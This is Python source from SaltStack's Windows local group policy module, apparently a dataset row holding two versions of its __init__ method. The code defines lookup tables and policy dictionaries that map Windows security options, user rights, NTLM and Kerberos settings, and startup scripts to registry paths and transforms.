                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeSystemProfilePrivilege': {
                        'Policy': 'Profile system performance',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeSystemProfilePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeUndockPrivilege': {
                        'Policy': 'Remove computer from docking station',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeUndockPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeAssignPrimaryTokenPrivilege': {
                        'Policy': 'Replace a process level token',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeAssignPrimaryTokenPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeRestorePrivilege': {
                        'Policy': 'Restore files and directories',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeRestorePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeShutdownPrivilege': {
                        'Policy': 'Shut down the system',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeShutdownPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeSyncAgentPrivilege': {
                        'Policy': 'Synchronize directory service data',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeSyncAgentPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeTakeOwnershipPrivilege': {
                        'Policy': 'Take ownership of files or other objects',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeTakeOwnershipPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'RecoveryConsoleSecurityLevel': {
                        'Policy': 'Recovery console: Allow automatic '
                                  'administrative logon',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Setup\\RecoveryConsole',
                            'Value': 'SecurityLevel',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'RecoveryConsoleSetCommand': {
                        'Policy': 'Recovery console: Allow floppy copy and '
                                  'access to all drives and all folders',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Setup\\RecoveryConsole',
                            'Value': 'SetCommand',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ForceKeyProtection': {
                        'Policy': 'System Cryptography: Force strong key protection for '
                                  'user keys stored on the computer',
                        'Settings': self.force_key_protection.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Policies\\Microsoft\\Cryptography',
                            'Value': 'ForceKeyProtection',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.force_key_protection,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.force_key_protection,
                                'value_lookup': True,
                            },
                        },
                    },
                    'FIPSAlgorithmPolicy': {
                        'Policy': 'System Cryptography: Use FIPS compliant algorithms '
                                  'for encryption, hashing, and signing',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa\\FIPSAlgorithmPolicy',
                            'Value': 'Enabled',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'MachineAccessRestriction': {
                        'Policy': 'DCOM: Machine Access Restrictions in Security Descriptor '
                                  'Definition Language (SDDL) syntax',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Policies\\Microsoft\\Windows NT\\DCOM',
                            'Value': 'MachineAccessRestriction',
                            'Type': 'REG_SZ',
                        },
                        'Transform': {
                            'Put': '_string_put_transform'
                        }
                    },
                    'MachineLaunchRestriction': {
                        'Policy': 'DCOM: Machine Launch Restrictions in Security Descriptor '
                                  'Definition Language (SDDL) syntax',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Policies\\Microsoft\\Windows NT\\DCOM',
                            'Value': 'MachineLaunchRestriction',
                            'Type': 'REG_SZ',
                        },
                        'Transform': {
                            'Put': '_string_put_transform'
                        }
                    },
                    'AddPrinterDrivers': {
                        'Policy': 'Devices: Prevent users from installing printer drivers',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Print\\'
                                    'Providers\\LanMan Print Services\\Servers',
                            'Value': 'AddPrinterDrivers',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'UseMachineId': {
                        'Policy': 'Network security: Allow Local System to use computer '
                                  'identity for NTLM',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'UseMachineId',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'allownullsessionfallback': {
                        'Policy': 'Network security: Allow LocalSystem NULL session fallback',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0',
                            'Value': 'allownullsessionfallback',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'AllowOnlineID': {
                        'Policy': 'Network security: Allow PKU2U authentication requests '
                                  'to this computer to use online identities.',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\pku2u',
                            'Value': 'AllowOnlineID',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'KrbSupportedEncryptionTypes': {
                        'Policy': 'Network security: Configure encryption types allowed '
                                  'for Kerberos',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies'
                                    '\\system\\Kerberos\\Parameters',
                            'Value': 'SupportedEncryptionTypes',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup_bitwise_add',
                            'Put': '_dict_lookup_bitwise_add',
                            'GetArgs': {
                                'lookup': self.krb_encryption_types,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.krb_encryption_types,
                                'value_lookup': True,
                            },
                        },
                    },
                    'NoLMHash': {
                        'Policy': 'Network security: Do not store LAN Manager hash value '
                                  'on next password change',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'NoLMHash',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ForceLogoffWhenHourExpire': {
                        'Policy': 'Network security: Force logoff when logon hours expire',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'Secedit': {
                            'Option': 'ForceLogoffWhenHourExpire',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'LmCompatibilityLevel': {
                        'Policy': 'Network security: LAN Manager authentication level',
                        'Settings': self.lm_compat_levels.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'LmCompatibilityLevel',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.lm_compat_levels,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.lm_compat_levels,
                                'value_lookup': True,
                            },
                        },
                    },
                    'LDAPClientIntegrity': {
                        'Policy': 'Network security: LDAP client signing requirements',
                        'Settings': self.ldap_signing_reqs.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\ldap',
                            'Value': 'LDAPClientIntegrity',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.ldap_signing_reqs,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ldap_signing_reqs,
                                'value_lookup': True,
                            },
                        },
                    },
                    'NTLMMinClientSec': {
                        'Policy': 'Network security: Minimum session security for NTLM SSP based '
                                  '(including secure RPC) clients',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa\\MSV1_0',
                            'Value': 'NTLMMinClientSec',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup_bitwise_add',
                            'Put': '_dict_lookup_bitwise_add',
                            'GetArgs': {
                                'lookup': self.ntlm_session_security_levels,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ntlm_session_security_levels,
                                'value_lookup': True,
                            },
                        },
                    },
                    'NTLMMinServerSec': {
                        'Policy': 'Network security: Minimum session security for NTLM SSP based '
                                  '(including secure RPC) servers',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa\\MSV1_0',
                            'Value': 'NTLMMinServerSec',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup_bitwise_add',
                            'Put': '_dict_lookup_bitwise_add',
                            'GetArgs': {
                                'lookup': self.ntlm_session_security_levels,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ntlm_session_security_levels,
                                'value_lookup': True,
                            },
                        },
                    },
                    'ClientAllowedNTLMServers': {
                        'Policy': 'Network security: Restrict NTLM: Add remote server'
                                  ' exceptions for NTLM authentication',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa\\MSV1_0',
                            'Value': 'ClientAllowedNTLMServers',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'DCAllowedNTLMServers': {
                        'Policy': 'Network security: Restrict NTLM: Add server exceptions'
                                  ' in this domain',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\Netlogon\\Parameters',
                            'Value': 'DCAllowedNTLMServers',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'AuditReceivingNTLMTraffic': {
                        'Policy': 'Network security: Restrict NTLM: Audit Incoming NTLM Traffic',
                        'Settings': self.ntlm_audit_settings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\LSA\\MSV1_0',
                            'Value': 'AuditReceivingNTLMTraffic',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.ntlm_audit_settings,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ntlm_audit_settings,
                                'value_lookup': True,
                            },
                        },
                    },
                    'AuditNTLMInDomain': {
                        'Policy': 'Network security: Restrict NTLM: Audit NTLM '
                                  'authentication in this domain',
                        'Settings': self.ntlm_domain_audit_settings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters',
                            'Value': 'AuditNTLMInDomain',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.ntlm_domain_audit_settings,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ntlm_domain_audit_settings,
                                'value_lookup': True,
                            },
                        },
                    },
                    'RestrictReceivingNTLMTraffic': {
                        'Policy': 'Network security: Restrict NTLM: Incoming'
                                  ' NTLM traffic',
                        'Settings': self.incoming_ntlm_settings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\LSA\\MSV1_0',
                            'Value': 'RestrictReceivingNTLMTraffic',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.incoming_ntlm_settings,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.incoming_ntlm_settings,
                                'value_lookup': True,
                            },
                        },
                    },
                    'RestrictNTLMInDomain': {
                        'Policy': 'Network security: Restrict NTLM: NTLM '
                                  'authentication in this domain',
                        'Settings': self.ntlm_domain_auth_settings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters',
                            'Value': 'RestrictNTLMInDomain',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.ntlm_domain_auth_settings,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ntlm_domain_auth_settings,
                                'value_lookup': True,
                            },
                        },
                    },
                    'RestrictSendingNTLMTraffic': {
                        'Policy': 'Network security: Restrict NTLM: Outgoing NTLM'
                                  ' traffic to remote servers',
                        'Settings': self.outgoing_ntlm_settings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0',
                            'Value': 'RestrictSendingNTLMTraffic',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.outgoing_ntlm_settings,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.outgoing_ntlm_settings,
                                'value_lookup': True,
                            },
                        },
                    },
                    'ShutdownWithoutLogon': {
                        'Policy': 'Shutdown: Allow system to be shut down '
                                  'without having to log on',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\system',
                            'Value': 'ShutdownWithoutLogon',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ClearPageFileAtShutdown': {
                        'Policy': 'Shutdown: Clear virtual memory pagefile',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\'
                                    'SESSION MANAGER\\MEMORY MANAGEMENT',
                            'Value': 'ClearPageFileAtShutdown',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ObCaseInsensitive': {
                        'Policy': 'System objects: Require case insensitivity for '
                                  'non-Windows subsystems',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\'
                                    'SESSION MANAGER\\Kernel',
                            'Value': 'ObCaseInsensitive',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ProtectionMode': {
                        'Policy': 'System objects: Strengthen default permissions of '
                                  'internal system objects (e.g. Symbolic Links)',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\'
                                    'SESSION MANAGER',
                            'Value': 'ProtectionMode',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'OptionalSubsystems': {
                        'Policy': 'System settings: Optional subsystems',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\'
                                    'SESSION MANAGER\\SubSystems',
                            'Value': 'optional',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'AuthenticodeEnabled': {
                        'Policy': 'System settings: Use Certificate Rules on Windows'
                                  ' Executables for Software Restriction Policies',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Policies\\Microsoft\\Windows\\safer\\codeidentifiers',
                            'Value': 'AuthenticodeEnabled',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                }
            },
            'User': {
                'lgpo_section': 'User Configuration',
                'policies': {}
            },
        }
        self.admx_registry_classes = {
            'User': {
                'policy_path': os.path.join(os.getenv('WINDIR'), 'System32',
                                            'GroupPolicy', 'User',
                                            'Registry.pol'),
                'hive': 'HKEY_USERS',
                'lgpo_section': 'User Configuration',
                'gpt_extension_location': 'gPCUserExtensionNames',
                'gpt_extension_guid': '[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F73-3407-48AE-BA88-E8213C6761F1}]'
            },
            'Machine': {
                'policy_path': os.path.join(os.getenv('WINDIR'), 'System32',
                                            'GroupPolicy', 'Machine',
                                            'Registry.pol'),
                'hive': 'HKEY_LOCAL_MACHINE',
                'lgpo_section': 'Computer Configuration',
                'gpt_extension_location': 'gPCMachineExtensionNames',
                'gpt_extension_guid': '[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}]'
            },
        }
        self.reg_pol_header = u'\u5250\u6765\x01\x00'
        self.gpt_ini_path = os.path.join(os.getenv('WINDIR'), 'System32',
                                         'GroupPolicy', 'gpt.ini')",,saltstack/salt,dc275350a53487383c13b3c6f31a23779de6dbb8,"def __init__(self):
        self.audit_lookup = {
            0: 'No auditing',
            1: 'Success',
            2: 'Failure',
            3: 'Success, Failure',
            'Not Defined': 'Not Defined',
            None: 'Not Defined',
        }
        self.sc_removal_lookup = {
            0: 'No Action',
            1: 'Lock Workstation',
            2: 'Force Logoff',
            3: 'Disconnect if a Remote Desktop Services session',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.uac_admin_prompt_lookup = {
            0: 'Elevate without prompting',
            1: 'Prompt for credentials on the secure desktop',
            2: 'Prompt for consent on the secure desktop',
            3: 'Prompt for credentials',
            4: 'Prompt for consent',
            5: 'Prompt for consent for non-Windows binaries',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.uac_user_prompt_lookup = {
            0: 'Automatically deny elevation requests',
            1: 'Prompt for credentials on the secure desktop',
            3: 'Prompt for credentials',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.enabled_one_disabled_zero = {
            0: 'Disabled',
            1: 'Enabled',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.enabled_one_disabled_zero_transform = {
            'Get': '_dict_lookup',
            'Put': '_dict_lookup',
            'GetArgs': {
                'lookup': self.enabled_one_disabled_zero,
                'value_lookup': False,
            },
            'PutArgs': {
                'lookup': self.enabled_one_disabled_zero,
                'value_lookup': True,
            },
        }
        self.s4u2self_options = {
            0: 'Default',
            1: 'Enabled',
            2: 'Disabled',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.audit_transform = {
            'Get': '_dict_lookup',
            'Put': '_dict_lookup',
            'GetArgs': {
                'lookup': self.audit_lookup,
                'value_lookup': False,
            },
            'PutArgs': {
                'lookup': self.audit_lookup,
                'value_lookup': True,
            },
        }
        self.enabled_one_disabled_zero_strings = {
            '0': 'Disabled',
            '1': 'Enabled',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.enabled_one_disabled_zero_strings_transform = {
            'Get': '_dict_lookup',
            'Put': '_dict_lookup',
            'GetArgs': {
                'lookup': self.enabled_one_disabled_zero_strings,
                'value_lookup': False,
            },
            'PutArgs': {
                'lookup': self.enabled_one_disabled_zero_strings,
                'value_lookup': True,
            },
        }
        self.security_options_gpedit_path = [
            'Computer Configuration',
            'Windows Settings',
            'Security Settings',
            'Local Policies',
            'Security Options'
        ]
        self.password_policy_gpedit_path = [
            'Computer Configuration',
            'Windows Settings',
            'Security Settings',
            'Account Policies',
            'Password Policy'
        ]
        self.audit_policy_gpedit_path = [
            'Computer Configuration',
            'Windows Settings',
            'Security Settings',
            'Local Policies',
            'Audit Policy'
        ]
        self.account_lockout_policy_gpedit_path = [
            'Computer Configuration',
            'Windows Settings',
            'Security Settings',
            'Account Policies',
            'Account Lockout Policy'
        ]
        self.user_rights_assignment_gpedit_path = [
            'Computer Configuration',
            'Windows Settings',
            'Security Settings',
            'Local Policies',
            'User Rights Assignment'
        ]
        self.block_ms_accounts = {
            0: 'This policy is disabled',
            1: 'Users can\'t add Microsoft accounts',
            3: 'Users can\'t add or log on with Microsoft accounts',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.ldap_server_signing_requirements = {
            1: 'None',
            2: 'Require signing',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.smb_server_name_hardening_levels = {
            0: 'Off',
            1: 'Accept if provided by client',
            2: 'Require from client',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.locked_session_user_info = {
            1: 'User display name, domain and user names',
            2: 'User display name only',
            3: 'Do not display user information',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.force_guest = {
            0: 'Classic - local users authenticate as themselves',
            1: 'Guest only - local users authenticate as Guest',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.force_key_protection = {
            0: 'User input is not required when new keys are stored and used',
            1: 'User is prompted when the key is first used',
            2: 'User must enter a password each time they use a key',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.krb_encryption_types = {
            0: 'No minimum',
            1: 'DES_CBC_CRC',
            2: 'DES_CBD_MD5',
            4: 'RC4_MHAC_MD5',
            8: 'AES128_HMAC_SHA1',
            16: 'AES256_HMAC_SHA1',
            2147483616: 'Future Encryption Types',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.lm_compat_levels = {
            0: 'Send LM & NTLM response',
            1: 'Send LM & NTLM - use NTLMv2 session security if negotiated',
            2: 'Send NTLM response only',
            3: 'Send NTLMv2 response only',
            4: 'Send NTLMv2 response only. Refuse LM',
            5: 'Send NTLMv2 response only. Refuse LM & NTLM',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.ldap_signing_reqs = {
            0: 'None',
            1: 'Negotiate signing',
            2: 'Require signing',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.ntlm_session_security_levels = {
            0: 'No minimum',
            524288: 'Require NTLMv2 session security',
            536870912: 'Require 128-bit encryption',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.ntlm_audit_settings = {
            0: 'Disable',
            1: 'Enable auditing for domain accounts',
            2: 'Enable auditing for all accounts',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.ntlm_domain_audit_settings = {
            0: 'Disable',
            1: 'Enable for domain accounts to domain servers',
            3: 'Enable for domain accounts',
            5: 'Enable for domain servers',
            7: 'Enable all',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.incoming_ntlm_settings = {
            0: 'Allow all',
            1: 'Deny all domain accounts',
            2: 'Deny all accounts',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.ntlm_domain_auth_settings = {
            0: 'Disable',
            1: 'Deny for domain accounts to domain servers',
            3: 'Deny for domain accounts',
            5: 'Deny for domain servers',
            7: 'Deny all',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.outgoing_ntlm_settings = {
            0: 'Allow all',
            1: 'Audit all',
            2: 'Deny all',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.enabled_one_disabled_zero_no_not_defined = {
            0: 'Disabled',
            1: 'Enabled',
        }
        self.enabled_one_disabled_zero_no_not_defined_transform = {
            'Get': '_dict_lookup',
            'Put': '_dict_lookup',
            'GetArgs': {
                'lookup': self.enabled_one_disabled_zero_no_not_defined,
                'value_lookup': False,
            },
            'PutArgs': {
                'lookup': self.enabled_one_disabled_zero_no_not_defined,
                'value_lookup': True,
            },
        }
        self.policies = {
            'Machine': {
                'lgpo_section': 'Computer Configuration',
                'policies': {
                    'StartupScripts': {
                        'Policy': 'Startup Scripts',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Startup'],
                        'ScriptIni': {
                            'Section': 'Startup',
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'scripts.ini'),
                        },
                    },
                    'StartupPowershellScripts': {
                        'Policy': 'Startup Powershell Scripts',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Startup'],
                        'ScriptIni': {
                            'Section': 'Startup',
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'psscripts.ini'),
                        },
                    },
                    'StartupPowershellScriptOrder': {
                        'Policy': 'Startup - For this GPO, run scripts in the '
                                  'following order',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Startup'],
                        'ScriptIni': {
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'psscripts.ini'),
                            'Section': 'ScriptsConfig',
                            'SettingName': 'StartExecutePSFirst',
                            'Settings': ['true', 'false', None],
                        },
                        'Transform': {
                            'Get': '_powershell_script_order_conversion',
                            'Put': '_powershell_script_order_reverse_conversion',
                        },
                    },
                    'ShutdownScripts': {
                        'Policy': 'Shutdown Scripts',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Shutdown'],
                        'ScriptIni': {
                            'Section': 'Shutdown',
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
